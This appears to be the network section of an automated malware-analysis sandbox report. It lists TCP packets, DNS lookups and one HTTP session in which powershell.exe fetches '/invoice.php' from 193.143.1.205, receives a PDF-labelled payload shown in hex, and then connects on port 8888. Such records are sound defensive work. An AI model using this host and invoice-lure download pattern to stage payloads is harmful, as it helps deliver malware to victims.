Jan 10, 2025 14:42:05.192754030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192786932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192800045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.192821026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192852974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192877054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.192887068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192934990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.222405910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.222434998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.222487926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.222541094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.222573042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.222601891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.222606897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.222623110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.222660065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.222688913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.222696066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.222743988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.222758055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.222776890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.222810030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.222837925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.222842932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.222876072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.222899914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.222940922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.222974062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223001957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.223025084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223057032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223084927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.223090887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223124027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223149061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.223174095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223206043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223233938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.223237991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223287106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223294020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.223339081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223372936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223407030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223408937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.223439932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223464966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.223594904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223639965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.223644972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223678112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223721027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.223758936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223792076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223824978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223850012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.223856926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.223898888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.224009037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.224057913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.224092007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.224121094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.224123955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.224157095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.224169970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.224208117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.224260092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.224265099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.224292040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.224323988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.224335909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.224356890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.224387884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.224406958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.224421978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.224455118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.224483013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.224487066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.224524021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.224546909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.224551916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.224606037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.246587038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.246620893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.246671915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.246696949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.246706963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.246757030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.246805906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.246839046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.246861935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.246870995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.246879101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.246905088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.246934891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.246957064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.247003078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.247004986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.247056007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.247088909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.247100115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.247122049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.247157097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.247184992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.247190952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.247236967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.263533115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.263566971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.263617992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.263683081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.263705969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.263715982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.263729095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.263747931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.263782024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.263797998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.263809919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.263854980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.288598061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.288644075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.288702965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.288739920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.288773060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.288804054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.288804054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.288825989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.288861036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.288880110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.288897038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.288928986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.288944006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.288981915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289026022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.289030075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289063931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289097071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289110899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.289129972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289165974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289174080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.289201021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289232969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289243937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.289266109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289299965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289309025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.289333105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289383888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.289383888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289417028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289448977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289462090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.289482117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289525032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.289531946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289566040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289597988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289609909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.289638996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289670944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289680958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.289706945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289751053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.289848089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289882898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289927959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.289932966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289966106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.289999008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.290009022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.290049076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.290082932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.290095091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.290115118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.290149927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.290158033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.290340900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.290374041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.290395975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.290409088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.290436029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.290452957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.305483103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.310717106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.320290089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.320329905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.320382118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.320414066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.320420027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.320447922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.320481062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.320518017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.320604086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.320610046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.320610046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.320610046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.320636988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.320684910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.320686102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.320719004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.320764065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.320769072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.320801020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.320833921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.320863008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.320867062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.320924044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.321182966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321233988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321268082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321280003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.321363926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321398020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321417093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.321479082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321512938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321521997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.321547031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321589947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.321594954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321645975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321676970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321691036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.321711063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321764946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.321769953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321803093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321844101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.321851015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321899891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321933031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321943998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.321966887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.321997881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322009087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.322031975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322072983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.322112083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322144032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322190046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.322195053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322227955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322262049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322271109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.322293997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322328091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322339058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.322361946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322405100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.322439909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322473049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322506905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322518110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.322540045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322572947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322597980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.322606087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322649002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.322784901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322848082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.322894096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.345627069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.345642090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.345659018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.345670938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.345681906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.345690966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.345758915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.475919008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.593713045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:06.607144117 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:06.612133026 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:06.612231970 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:06.612406969 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:06.617244005 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:07.398156881 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:07.439049959 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:07.624669075 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:44.090410948 CET	50083	53	192.168.2.5	162.159.36.2
Jan 10, 2025 14:42:44.095268965 CET	53	50083	162.159.36.2	192.168.2.5
Jan 10, 2025 14:42:44.095379114 CET	50083	53	192.168.2.5	162.159.36.2
Jan 10, 2025 14:42:44.100310087 CET	53	50083	162.159.36.2	192.168.2.5
Jan 10, 2025 14:42:44.569240093 CET	50083	53	192.168.2.5	162.159.36.2
Jan 10, 2025 14:42:44.574263096 CET	53	50083	162.159.36.2	192.168.2.5
Jan 10, 2025 14:42:44.574314117 CET	50083	53	192.168.2.5	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:42:13.773794889 CET	62780	53	192.168.2.5	1.1.1.1
Jan 10, 2025 14:42:44.089803934 CET	53	49174	162.159.36.2	192.168.2.5
Jan 10, 2025 14:42:44.602715969 CET	53	62974	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 14:42:13.773794889 CET	192.168.2.5	1.1.1.1	0xcc4d	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 14:42:13.781034946 CET	1.1.1.1	192.168.2.5	0xcc4d	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 14:42:14.743331909 CET	1.1.1.1	192.168.2.5	0x18dc	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 14:42:14.743331909 CET	1.1.1.1	192.168.2.5	0x18dc	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:42:14.743331909 CET	1.1.1.1	192.168.2.5	0x18dc	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:42:14.743331909 CET	1.1.1.1	192.168.2.5	0x18dc	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:42:14.743331909 CET	1.1.1.1	192.168.2.5	0x18dc	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:42:14.743331909 CET	1.1.1.1	192.168.2.5	0x18dc	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:42:14.743331909 CET	1.1.1.1	192.168.2.5	0x18dc	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:42:14.743331909 CET	1.1.1.1	192.168.2.5	0x18dc	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:42:14.743331909 CET	1.1.1.1	192.168.2.5	0x18dc	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	5396	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:42:03.742671967 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 14:42:04.555638075 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:42:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 